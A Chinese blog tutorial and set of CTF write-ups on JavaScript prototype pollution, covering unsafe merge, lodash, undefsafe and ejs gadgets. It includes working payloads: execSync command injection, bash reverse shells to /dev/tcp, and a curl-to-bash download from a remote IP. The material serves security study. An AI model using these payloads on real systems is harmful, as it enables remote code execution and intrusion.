javascript原型链污染
一、javascript原型链污染
1、proto 和 prototype
关于proto和prototype是javascript中两个重要的属性,我们要想要搞明白javascript的原型链污染,首先要明白proto和prototype。
这里粘一张图,帮助大家更好理解:
prototype
在javascript中关于prototype的解释是:每个js对象一定对应一个原型对象,并从原型对象继承属性和方法,但不是每个对象都有__proto__
属性来标识自己所继承的原型,只有函数才有prototype
属性。可能这样说不是很好理解,简单来说就是:我们都知道javascript是面向对象的,每个函数都有一个对象,每个对象都有一个prototype属性,这个属性是一个指针,指向我们的原型对象。并且这些对象都会有一个constructor 属性,这个属性指向所关联的构造函数。
下面我们通过两个例子来分析一下prototype属性:
1 | function Person(){ |
运行结果:
经过测试我们可以看到函数Person的原型是object{constructor:function Person()},但是我们实例化出来的非函数对象person1是没有原型的,这就验证了我们上面说的只有函数才有prototype属性。
prototype原型对象还有一个利用是我们可以使用它实现属性和方法的继承。
具体我们来通过一个示例代码来了解:
1 | function Person() { |
我们可以看到我们实例化的Teacher对象成功调用了Person函数的属性,这说明Teache的原型继承了Person函数的属性和方法。
除了这些我们还可以通过prototype来给对象添加属性或函数
example:
1 | var person1 = new Person("zhangsan"); |
通过运行结果我们可以看出我们的实例化对象可以正常访问我们添加的属性和方法。
proto
在上面我们讲了prototype,这里我们讲一下proto,proto属性也是javascript中的一个重要属性,但是proto和prototype不同的一点是proto存在与所有对象的属性里面,proto属性是在调用构造函数创建实例对象时产生的,这时因为当一个对象被创建时,这个构造函数将会把它的属性 prototype 赋给新对象的内部属性__proto__
,于是这个__proto__
被这个实例对象用来查找创建它的构造函数的prototype属性。
这里我通过例子来理解:
1 | function Person(){ |
我们可以看到proto无论在那个对象里面都存在,并且我们实例化的对象经过proto会执行其构造函数的原型对象。所有我们总结可得proto是用来将对象与该对象的原型相连。
2、proto和prototype的关系
1 | function Person(){ |
可以看到我们的实例化对象的proto是等于构造函数的原型对象的,所有说proto是指向了构造函数的原型。
3.Function.prototype
每个 JavaScript 函数实际上都是一个 Function
对象。运行 (function(){}).constructor === Function // true
便可以得到这个结论。在我们代码中的构造函数、内置对象都是由 Function 创建的,通过 new 调用可以生成函数对象,比如自己创建的Person构造函数,以及Number、String、Boolean、Object、Error、Array、RegExp、Date、Function
等内部对象。
那么这样的话这些函数的proto指向的就是function.prototype,所以说 Fucntion 这个函数的prototype
是所有函数的 proto ,有 call, apply等方法。
1 | function Person(){} |
用其他师傅博客的图更好的理解:
3、Object.prototype.proto
每个实例对象(object)都有一个私有属性(称之为 __proto__
)指向它的构造函数的原型对象prototype。该原型对象也有一个自己的原型对象(__proto__
),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。当查到null就可以停止原型链的搜索。
1 | console.log([].__proto__.__proto__) |
同样的,我们上边创建的构造函数 Person,它的 prototype
属性就是有 Object 创建的,所以 Object 将自己的 prototype
属性,扔给了 Person 的原型的 __proto__
属性。
1 | function Person(){} |
那么到这里我们可能会想function.prototype指向的是什么?
我们这里通过代码来探索:
1 | console.log(Function.prototype.__proto__) |
我们通过运行结果可以看到指向了obiect,那我们可以将fuction(){}
看成对象 Object 的实例。那么这里就和上面一样了。
4、什么是原型链
这样层层向上的原型对象我们称为原型链,原型链的最上层是Object.prototype,并且它的原型是null,null
表示原型链的终点,意味着它没有继续的原型对象,即没有原型链上的父级对象。这是为了确保原型链的结束,避免无限循环和属性查找的死循环。
这里我们通过一个图更好的理解:
当我们使用原型让一个函数的继承另一个函数的属性和方法,当我们访问实例对象的某个属性时会现在这个对象本身的属性上面寻找如果没有找到,则会通过__proto__ 属性去原型上面找,则会在构造函数的原型的__proto__
中去找,这样一层层向上查找就会形成一个作用域链,称为原型链。
具体实现我们通过一个代码示例来理解:
1 | function a() { |
运行结果:
5、原型链污染
1 | function F(){ |
由上面例子我们可以得到实例化对象f.__proto__和F.prototype,是相等的,都是等于object
那么我们修改f.___proto__的值会不会改变F类
我们通过一个代码进行测试:
1 | // 定义一个基类 |
可以看到第一次执行greet方法和第二次执行的是不一样的,而且我们并不是直接去修改BaseClass中great的值,而是把obj.___proto__赋了一个新的greet函数内容
我们在这里把修改前后,obj的__proto__打印出来
1 | class BaseClass { |
我们通过直接修改 obj
对象的 __proto__
属性,将其设置为另一个对象 modifiedProto
,该对象具有重新定义的 greet
方法。这导致了原型链污染,现在 obj
对象调用的 greet
方法变为了被修改后的版本,输出 “Oops, prototype pollution!”。
这里obj在调用greet()方法时回先在自身找属性或者方法,如果找不到就会沿着原型链向上查找,而现在原型链的第一个对象是
modifiedProto,而在这个对象里面就有greet()方法,然后就可以直接调用。
再看一个简单的例子:
1 | var a={"name":"xiaoming"} |
可以看到我们并没有在b中定义name属性
但是我们污染后可以访问b.name
具体我们通过下面代码看一下:
1 | var a={"name":"xiaoming"} |
可以看到我们a.proto.name=”xiaohong”赋值后在object中多了name的属性值,这是因为a.__proto__就是object,那我这行代码就是object中插入了一个name属性
那么我们b.name在自身对象找不到属性时,就会沿着原型链向上查找,到object找到了name属性,然后就会输出。
6、原型链污染的利用(此部分只是以一个复现)
对象merge
1 | function merge(target, source) { |
我们可以看到在合并的过程中的存在一个
1 | target[key] = source[key] |
这里是一个赋值操作
那么如果我们这里的这个key是一个__proto__,那我们就可以进行原型链污染
1 | function merge(target, source) { |
但是根据运行结果我们可以看到并没有污染成功
这是因为我们是通过
1 | let o2 = { a: 1, "__proto__": { b: 2 } } |
这里打一个输出:
可以看到这里输出的键值是[a,b],而不是__proto__,这是我们在遍历键值时__proto__代表o2的原型,而不是一个可以key
那么就无法成功修改object的原型
修改一下代码:
1 | function merge(target, source) { |
运行结果:
重点在这
如果键值在这两个里面都存在就会进入这个if判断
我这里打了输出
那么再去执行就变成了merge([Object: null prototype] {},{b,2})
那么再次执行merge函数
1 | target[b] = source[b]=2 |
上面我们可以看到target=[Object: null prototype] {}
那么就等于再object中插入了一个属性b值为2
1 |
|
那我们这里o3在自身找不到属性b的值就会沿着原型链查找,到object会找到b属性的值输出
那么通过上面分析我们可与得到merge存在原型链污染漏洞
至于为什么我们修改代码可与污染成功
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
例题:[GYCTF2020]Ez_Express
1 | var express = require('express'); |
login.js中存在merg函数
看一下登录页面
点击登录
点击注册
回到源码
继续分析
看一下login和register的代码
1 | router.post('/login', function (req, res) { |
先看注册safeKeyword进行检查
看一下safeKeyword函数
1 | function safeKeyword(keyword) { |
如果匹配到admin,会输出弹窗
1 | res.end("<script>alert('forbid word');history.go(-1);</script>") |
没有匹配到则会正常注册登录
看一下login
1 | if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} |
就是要求账号时注册过的
但是题目上面让我们注册admin账号
继续回到register
1 | req.session.user={ |
当我们注册成功后,会将信息写入session
然后用户名会经过toUpperCase()函数处理
toUpperCase()
是 JavaScript 字符串对象的一个内置方法,用于将字符串中的所有字符转换为大写形式。它不会改变原始字符串,而是返回一个新的字符串
但是toUpperCase
函数会把某些特殊的字符解析为相应的字母,例如"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
,
那么我们就可以通过这个小的函数漏洞去进行绕过注册的限制,我们直接注册admın,那么经过函数处理就会变成admin
成功登录告诉了我们flag的位置
有一个提交框,提交后会跳到action路由
代码分析一下
1 | router.post('/action', function (req, res) { |
代码很好分析
就是先判断是不是admin用户,如果不是就会弹出admin is asked
如果是则会执行
1 | req.session.user.data = clone(req.body); |
1 | const clone = (a) => { |
clone会调用merge函数
那么这里我们就可以进行原型链污染
但是现在的问题是我们要污染什么,污染后能干什么
继续分析代码上面的info路由
1 | router.get('/info', function (req, res) { |
res.render是 Express.js 框架中用于渲染视图模板的方法。它用于将动态生成的数据和视图模板结合起来,生成最终的 HTML 响应并发送给客户端。我们可以看到这里是将res的outputFunctionName渲染到index,而且这里的outputFunctionName是未定义的
那这里思路就很明显了,我们可以原型链污染给outputFunctionName赋上我们想要执行的命令
然后通过render进行渲染,然后进行ssti,执行命令获取flag
抓包看一下
paylaod:
1 | {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""} |
或者直接
1 | {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""} |
先访问action路由进行原型链污染
然后访问info进行ssti,命令执行
然后看其他师傅的文章说还有一种非预期解ejsrce,这里直接贴paylaod了,后门有机会在学习
这里使用了ejs这个模板引擎
1 | const express = require('express'); |
这个模板引擎本身是存在原形污染的,可以直接进行rce,且有大把现成的exp….
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}} |
先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE
接着post访问api.js就可以反弹shell了
Lodash 模块原型链污染
这里是跟着https://xz.aliyun.com/t/12053#toc-5复现的,这个地方涉及了几个cve
这里就简单分析一下lodash的几个简单的方法,后续有机会了在学习。
lodash.merge 方法造成的原型链污染
lodash.merge作为loadsh中的对象合并插件,可以递归合并sources来源对象自身和继承的可枚举属性到object目标对象,以创建父映射对象
1 | merge(object, sources) |
这个和我们上面分析的merge是一样的我们直接看源码分析了,
- node_modules/lodash/merge.js
这是lodash库中merge方法的定义
这里直接调用了baseMerge方法,直接跟进
node_modules/lodash/_baseMerge.js
通过源码我们可以看到在baseFor里面对srcValue有一个筛选,这里会判断他是不是一个对象,所有如果我们要想进入到baseMerage方法,那就要求我们的Merge是一个object
继续跟进
到这我们进入了baseMergeDeep方法
这里将我们上一步传入的srcValue也就是我们merge的对象放进了assignMergeValue方法
继续跟进:
这里对对象的值和对象键名进行了一个筛查,最终进入了baseAssignValue
跟进
可以看到这里对我们的key做了判断,但是我们要进入到object[key]=value才能进行原型链污染操作
所有这里我们要想办法绕过
POC:
1 | prefixPayload = { nickname: "Will1am" }; |
最终进入 object[key] = value
的赋值操作。
也就是object[prototype] = {“role”: “admin”}
这样就给原型对象赋值了一个名为role,值为admin的属性
POC:
1 | var lodash= require('lodash'); |
lodash.mergeWith 方法 CVE-2018-16487
这个方法与merge方法不同的是mergeWith还会接受一个参数customizer,如果customizer返回undefined将由合并方法代替
1 | object:目标对象 |
这里以一个小的例子来看:
1 | var mergeWith = createAssigner(function(object, source, srcIndex, customizer) { |
这里多出来的参数不好影响我们原型链的利用
1 | var lodash= require('lodash'); |
lodash.set 方法造成的原型链污染
1 | set(object, path, value) |
object
:要设置值的对象。path
:表示属性路径的字符串,使用.
作为层级分隔符。value
:要设置的值。
函数将根据路径遍历对象的属性,并将最终的值设置在路径的末端。如果路径中的某些属性不存在,则会创建缺少的属性。
例子:
1 | function set(object, path, value) { |
1 | var object = { 'a': [{ 'b': { 'c': 3 } }] }; |
分析源码:
这里对object进行了一个判断非空则调用baseSet方法
baseset接受三个参数就是我们上面传进来的修改对象,路径,值
跟进baseset方法
这里先对object进行了判读。判断其是否为对象
然后进入castPath方法
跟进
这里接受两个参数object和value
首先会对values判断是否为空
然后判断给定的值 value
是否是一个对象 object
的键(key),如果是,则返回一个包含该键的数组;如果不是,则会调用stringToPath方法,这里很明显我们调用的不是一个数组
继续跟进
memoizeCapped
是一个函数,它用于创建一个带有缓存功能的函数。这里使用memoizeCapped
来创建了一个具有缓存功能的stringToPath
函数。stringToPath
函数接受一个字符串参数string
,表示属性路径。result
是一个数组,用于存储转换后的路径。- 如果字符串的第一个字符的 ASCII 值等于 46(代表字符 “.”),则将空字符串
''
添加到result
数组中。这是为了处理属性路径以 “.” 开头的情况。 string.replace(rePropName, function(match, number, quote, subString) { ... })
使用正则表达式rePropName
对字符串进行匹配和替换操作。- 在每次匹配时,回调函数会被调用。
match
表示匹配到的子字符串,number
表示匹配到的数字字符串,quote
表示匹配到的引号,subString
表示匹配到的子字符串(去除引号的部分)。 - 在回调函数中,根据情况将匹配到的值加入到
result
数组中。如果quote
存在,说明匹配到的是带引号的子字符串,需要去除转义字符后加入result
数组;否则,将number
或者match
加入result
数组。 - 最后,返回
result
数组作为路径数组。
整个 stringToPath
函数的作用是将字符串表示的属性路径转换为路径数组,每个元素表示路径的一部分。例如,对于属性路径字符串 'a.b[0].c'
,转换后的路径数组为 ['a', 'b', '0', 'c']
。
那么到这里这个方法就结束了,可以这里对传入的参数并没有进行过滤
那我就可以对他进行原型链污染
这里是贴的大佬的POC:
1 | var lodash= require('lodash'); |
可以看到这里已经污染成功了
lodash.setWith 方法造成的原型链污染
这里类似与上面的set方法,其实这里set和setwith与merge和mergewith的关系是相同的
这里也多了一个customizer参数
setWith
函数接受四个参数:
object
:要设置值的对象。path
:表示属性路径的字符串或路径数组。value
:要设置的值。customizer
:可选的自定义函数,用于进行设置操作
这里和上面set的污染利用路径和方法差不多,参考上面set方法就行,这里就不在具体分析了
这里直接贴一个大佬的验证POC:
1 | var lodash= require('lodash'); |
这里调试一下结果可能看的更清楚,这里为了方便,直接看最后的结果
这里可以看到是已经污染成功了
配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 HTML会在 “escape” 分隔符中转换为相应实体。 在 “evaluate” 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings
的值
在Lodash中,为了实现代码执行我们通常是污染template中的sourceURL属性
sourceURL
变量用于存储最终生成的sourceURL
字符串。'//# sourceURL='
是一个字符串,表示sourceURL
的前缀部分。这是一个特殊的注释语法,用于指定源代码的 URL。('sourceURL' in options ? options.sourceURL : ('lodash.templateSources[' + (++templateCounter) + ']'))
是一个条件表达式,用于确定sourceURL
的值。首先,它检查
options
对象中是否存在sourceURL
属性。如果存在,则使用该值作为sourceURL
。如果
options
对象中不存在sourceURL
属性,它将使用'lodash.templateSources[' + (++templateCounter) + ']'
的形式来生成一个动态的sourceURL
。++templateCounter
是一个计数器,用于生成唯一的模板计数器值。'lodash.templateSources[' + (++templateCounter) + ']'
生成一个形如'lodash.templateSources[1]'
的字符串,其中数字部分递增以保证唯一性。
options是一个对象,source.url取到了其options.sourceurl属性,这个属性原本是没有赋值的,默认取空字符串
我们可以通过原型链污染给所有的object对象都插入一个sourcurl属性,最后这个属性被拼接进new Function的第二个参数中也就是sourceurl+return+source
1 | var result = attempt(function() { |
从而造成任意命令执行
但是在function中没有require函数,所以我们不能直接使用require(‘child_process’)
所以我们这里使用global.process.mainModule.constructor._load代替
1 | \u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"} |
Undefsafe 模块原型链污染(CVE-2019-10795)
Undefsafe
是一个 JavaScript 库,用于安全地访问嵌套对象的属性和方法,以避免在访问时出现 TypeError: Cannot read property 'x' of undefined
错误。但是其在低版本(<2.0.3)中存在原型链污染漏洞
可以利用这个漏洞修改或添加object.prototype属性
1 | const undefsafe = require('undefsafe'); |
示例:
1 | var a = require("undefsafe"); |
由这个两个例子我们可以看到当我们访问存在的属性室友回显
访问不存在的属性不在报错,而是返回undefined
并且在对对象赋值,如果目标属性存在
1 | var a = require("undefsafe"); |
当属性存在可以帮我们修改相应属性的值
如果不存在则会帮我们在访问属性上层进行创建并赋值
1 | var a = require("undefsafe"); |
上面的是关于undefsafe的一些特性,下面我详细分析一下undefsafe版本低于2.0.3存在的原型链污染漏洞
1 | var a = require("undefsafe"); |
tostring方法是本来就存在的那么我们就等于通过undefsafe去修改成我们想要执行的语句
这样的话,那么当undefsafe()函数的23参数可控的话,我们就可以污染object对象中的值
1 | var a = require("undefsafe"); |
这里test被当作字符串触发了tostring方法
返回[object Object]
那我们这里就可以使用undefsafe进行原型链污染
1 | var a = require("undefsafe"); |
我们这里通过undefsafe修改tostring的值,污染原型链
可以看到这里输出了evil,而不是object,这就是因为我们原型链污染导致的,这里把对象当作字符串输出,就会触发tosting方法,但是当前对象没有,就会沿着原型链向上查找同时进行调用,这里输出的tostring的值正是我们上面污染的值。
例题 [网鼎杯 2020 青龙组]notes
题目源码app.js
1 | var express = require('express'); |
可以看到这个查看和编辑note时会调用undefsafe方法
分析一下路由:
1 | app.route('/status') |
可以看到在status路由下面有一个exec命令执行函数那我们可以通过控制commands。去执行我们想要执行的命令
继续分析其他路由,找传参点
1 | app.route('/edit_note') |
这里接受三个参数,id,author,raw=>enote
然后执行 notes.edit_note(id, author, enote);
1 | edit_note(id, author, raw) { |
可以看到这些调用了undefsafe,而且后两个参数都是可控的,那我们这里就可以通过undefsafe方法进行原型链污染
而且这里最终修改的是note_list中的值
1 | exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { |
但是可以看到我们这里执行的commands
不过commands和note_list的原型是一样的都是Object.prototype
所以我们污染note_list其实就是污染了Object.prototype中的值
当commands在自身对象中找不到我们要执行的命令就会沿着原型链向上查找。而且这里是一个遍历,遍历会沿着原型链向上查找,那么在遍历 commands
时便会取到我们污染进去的恶意命令并执行。
payload:
1 | id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a; |
shell.txt:
1 | bash -i >& /dev/tcp/174.1.62.169/9999 0>&1 |
这样我们在note_list的__proto__objetc中添加了一个a属性的值,内容为curl http://1.15.75.117/shell.txt|bash,然后反弹shell
1 | for (let index in commands) { |
这里再遍历的时候会遍历到object中的命令从而进行命令执行
Lodash配合ejs模板引擎实现 RCE CVE-2022-29078
nodejs的ejs模板引擎存在一个利用原型链污染的进行rce的一个漏洞
但是我们想要实现rce就要先进行原型链污染,这里使用lodash,merge方法中的原型链污染漏洞
app.js
1 | var express = require('express'); |
- index.ejs
1 | <!DOCTYPE html> |
这里运行程序后就会弹出计算器
可以看到运行之后就会弹出计算器,说明我们的命令执行了
分析源码:
1 | lodash.merge({}, JSON.parse(malicious_payload)); |
这里就是我们命令执行的核心
我们从res.render开始分析
跟进render方法
可以看到在__proto__中污染了一个 outputFunctionName
属性值为
1 | _tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2 |
那么这里就引发出一个问题:
我们为什么要在原型链中污染一个outputFunctionName属性
继续往下面分析:
1 | lodash.merge({}, JSON.parse(malicious_payload)); |
那么这里就是实现了污染了一个outputFunctionName属性
1 | res.render("index.ejs", { |
从这里继续分析:
跟进这个render方法:
node_modules/express/lib/response.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
1.var app = this.req.app;
用于获取当前请求的 Express 应用程序实例。
2. var done = callback;
将 callback
赋值给变量 done
,用于处理渲染完成后的回调函数。
3. var opts = options || {};
将 options
赋值给变量 opts
,如果 options
未定义,则使用空对象。
4. var req = this.req;
获取当前请求的 req
对象。
5. var self = this;
将当前的 res
对象赋值给变量 self
,用于在回调函数中引用。
6. 检查第二个参数 options
的类型。如果是函数类型,那么将其作为回调函数,done
将被重置为该函数,同时将 opts
重置为空对象。
7. opts._locals = self.locals;
合并当前 res
对象的 locals
属性到 opts
对象中。
8. 默认的回调函数 done
用于处理渲染完成后的操作。如果发生错误,将通过 req.next(err)
处理错误,否则将使用 self.send(str)
将渲染结果发送给客户端。
9. 最后,通过调用 app.render(view, opts, done)
来执行实际的渲染操作,使用应用程序实例的 render
方法来渲染视图模板。
这段代码为 Express 应用程序的响应对象 res
添加了 render
方法,以便在路由处理程序中方便地渲染视图模板并发送给客户端
跟进app.render方法
1 | app.render = function render(name, options, callback) { |
进入app.render,发现最终会进入到tryRender:
继续跟进:
- node_modules/express/lib/application.js
该函数接受三个参数:
view
:表示要渲染的视图对象。options
:可选的选项参数,用于向视图传递数据。callback
:回调函数,用于处理渲染结果或错误。
函数的实现如下:
- 在
try
代码块中,调用view.render(options, callback)
来尝试渲染视图。这会将选项参数和回调函数传递给视图对象进行渲染。 - 如果渲染过程中没有抛出错误,执行正常的渲染操作,并将结果通过回调函数传递出去。
- 如果在
try
代码块中抛出了错误(比如视图渲染函数内部抛出异常),则catch
代码块会捕获到该错误。 - 在
catch
代码块中,调用callback(err)
,将捕获到的错误作为参数传递给回调函数进行处理。
这里继续跟进view.render方法:
node_modules/express/lib/view.js
到这里调用了engine,从这里进入到了模板引擎ejs.js中
这里继续跟进ejs.js的renderFile方法
我们可以在最好发现又调用了tryHandleCache方法
继续跟进:
进入到 handleCache 方法,跟进 handleCache:
- node_modules/ejs/ejs.js
我们在hadleCache中找到了渲染模板的compile方法
跟进
在这里我们找到了outputFunctionName
而且在这里我们可以看到又大量拼接
1 | if (!this.source) { |
有代码我们可以看到这里opts.outputFunctionName被拼接到prepended中
1 | } |
而拼接完的prepended最好被传入到this.source中
并被带入函数执行,所以如果我们能够污染 opts.outputFunctionName
,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render
方法,其最终也是进入了compile
ejs 模板引擎 RCE 常用的 POC:
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}} |
7、例题
ctfshow338
login.js
1 | var express = require('express'); |
可以看到当secret.ctfshow===’36dboy’时会输出flag
那么这里就是很明显的原型链污染
1 | utils.copy(user,req.body); |
然后copy是在common.js中定义的
1 |
|
看到这个代码就很熟悉了,这就是上面我们分析的merge函数进行原型链污染
这个copy函数和merge的功能是相同的
直接把上面我们分析的paylaod改改直接就可以打:
1 | {"a": 1, "__proto__": {"ctfshow":" 36dboy"}} |
直接拿上面的payload改改参数就行
或:
1 | {"__proto__":{"ctfshow":"36dboy"}} |
具体怎么实现的,就不再分析了,本质和上面我们分析的merge函数一个道理。
ctfshow339
和上面几乎差不多
但是获取flag的条件变了
1 | var express = require('express'); |
而且多了一个api.js
1 | var express = require('express'); |
由login.js我们可以看到
1 | secert.ctfshow===flag |
但是这明显时不可能的,那我们就要换一个思路了
看api.js
1 | res.render('api', { query: Function(query)(query)}); |
res.render
是一个常见的函数调用,用于渲染视图并将其发送给客户端。'api'
是要渲染的视图模板的名称,而 { query: Function(query)(query) }
是要传递给视图模板的数据对象。Function(query)创建一个新的函数,并使用传递的字符串 query
作为函数体。然后,该新函数立即被调用,传递了 query
作为参数。函数的返回值将作为 { query: ... }
数据对象中 query
属性的值。
这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。那我们去覆盖query进行命令执行,而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。
payload:
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}} |
1 | global.process 是 Node.js 中的全局对象 process。 |
- 标题: javascript原型链污染
- 作者: GTL-JU
- 创建于: 2023-07-10 16:18:31
- 更新于: 2023-07-11 15:14:26
- 链接: https://gtl-ju.github.io/2023/07/10/从Javascript原型链污染到python原型链污染1/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。